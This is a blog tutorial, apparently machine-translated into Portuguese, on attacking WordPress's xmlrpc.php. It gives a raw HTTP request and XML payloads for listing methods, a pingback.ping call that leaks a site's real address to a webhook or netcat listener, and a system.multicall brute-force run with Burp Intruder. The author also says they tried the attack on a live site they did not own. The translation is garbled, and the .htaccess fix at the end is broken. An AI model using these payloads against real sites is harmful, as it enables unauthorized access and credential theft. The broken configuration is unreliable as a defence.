Articles

Explorar a xmlrpc.php

X

Privacidade & Cookies

Este site utiliza cookies. Ao continuar, você concorda com o seu uso. Saiba mais, incluindo como controlar os cookies.

Peguei!

Anúncios

O que é XML-RPC?

XML-RPC é uma API que empurra as informações ou dados para o arquivo XML e os envia para o aplicativo móvel ou software remoto. Isto foi introduzido como nos velhos tempos, a velocidade da internet não é rápida, em vez de escrevê-la online. Os usuários escrevem seu conteúdo offline e publicam tudo junto usando a API. À medida que os serviços de internet melhoraram, a maioria de nós não usa mais a funcionalidade, muitas vezes ela foi esquecida por nós.

xml_for

Quais são as vulnerabilidades?

  1. Ataque de força bruta. As principais razões para realizar o ataque, é que esta API não tem tentativas de login de cap no site. Eles podem não obter as credenciais corretas, mas ainda assim causar problemas como sobrecarga do site. A disponibilidade do site é afetada.
  2. Interceptar/roubar informações de Login. Falta de sistema de autenticação. Cada vez que o usuário tenta acessar o site, as credenciais de login são enviadas dentro do formulário XML. Se a conexão for interceptada/ MITM, os dados XML claros são expostos.
  3. XMLRPC pingback.ping. O atacante pode usar o método para recuperar o endereço público real do site WordPress.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Before I begin to show you the detail steps of carrying out following attacks. Qualquer ação ilegal que você tenha realizado é por sua conta. Eu não sou responsável por nenhuma de suas ações. Por favor, configure seu próprio ambiente para fazer isso ou peça permissão antes de fazer.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

XMLRPC attack using Burpsuite

First check whether XMLRPC.php is accessible on the target site. Neste caso, eu configurei um site WordPress de demonstração para realizar o ataque.

checking

“O servidor XML-RPC aceita apenas pedidos POST”

Usando o método GET para recuperar o ficheiro, normalmente obteremos este resultado.

Próximo, faremos um método POST para recuperar todo o método utilizável no servidor XMLRPC.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

O servidor irá responder-lhe com uma lista de métodos que podem ser utilizados. Neste caso, nós estamos particularmente interessados no método pingback.ping. Uma coisa a ter em conta é que, todos estes dados que entram e saem utilizam o formato XML como explicado acima. Portanto, certifique-se que o formato dos dados está correto.

Para realizar o ataque, precisamos preparar estas 2 coisas primeiro

  1. Um webhook válido.URL do site ou qualquer outra alternativa como você prefere, como beeceptor e postbin
  2. Uma URL válida de um post do WordPress direcionado.

<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Below é um outro exemplo deste ataque realizado neste site WordPress. SIM! Aquele que você está procurando agora mesmo. Por curiosidade, eu quero tentar atacar o site real em vez daquele que eu hospedei.

own

Como você pode ver, este ataque não teve sucesso e nenhum resultado será mostrado no postbin. Parece que eles fizeram alguma precaução e prevenção do site WordPress online. Este método é útil para o site de auto configuração e não desabilitou xmlrpc.php

Se você não deseja usar o POSTBIN, abrir o NC e definir no modo de escuta também funciona! 👍👍

ncnc2

Ataque de força bruta usando XMLRPC.php

Como mencionado acima, não há limite de tentativas de número. Conseguir uma combinação de nome de usuário e senha bem sucedida é apenas uma questão de tempo. E também, não há nenhum mecanismo como o bloqueio de conta, após um certo número de tentativas.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Para mostrar a diferença entre login com e sem sucesso, aqui está um exemplo.

brute

E, claro, você deve estar usando Intruder para realizar este tipo de ataques de força bruta.

Primeiro, verifique o alvo de ataque, no meu caso estarei usando o endereço IP do meu site.

target

precisamos definir as Posições de Carga Útil e escolher ‘Cluster bomb’ na lista de tipos de Ataque. Bom recurso para ler sobre posições e tipos de ataque

postion

Aqui, precisamos definir 2 posições de carga útil, ‘nome de usuário’ e senha. A seguir, temos de definir a lista de palavras. Esta é a documentação dos tipos de Payload

usernamepassword

Click ‘Start attack’ when you are ready

success

Como podemos observar, um dos pedidos tem um comprimento diferente. E quando verificarmos os dados brutos sob a guia de resposta, mostre-nos este conjunto de combinação tem login com sucesso.

Prevenção

  1. Instalar plugin para os preguiçosos
  2. Disable xmlrpc.php usando .htaccess

# Negar a qualquer um o acesso ao arquivo
<Arquivos xmlrpc.php>
Negar pedido,permitir
deny de todos
<Arquivos>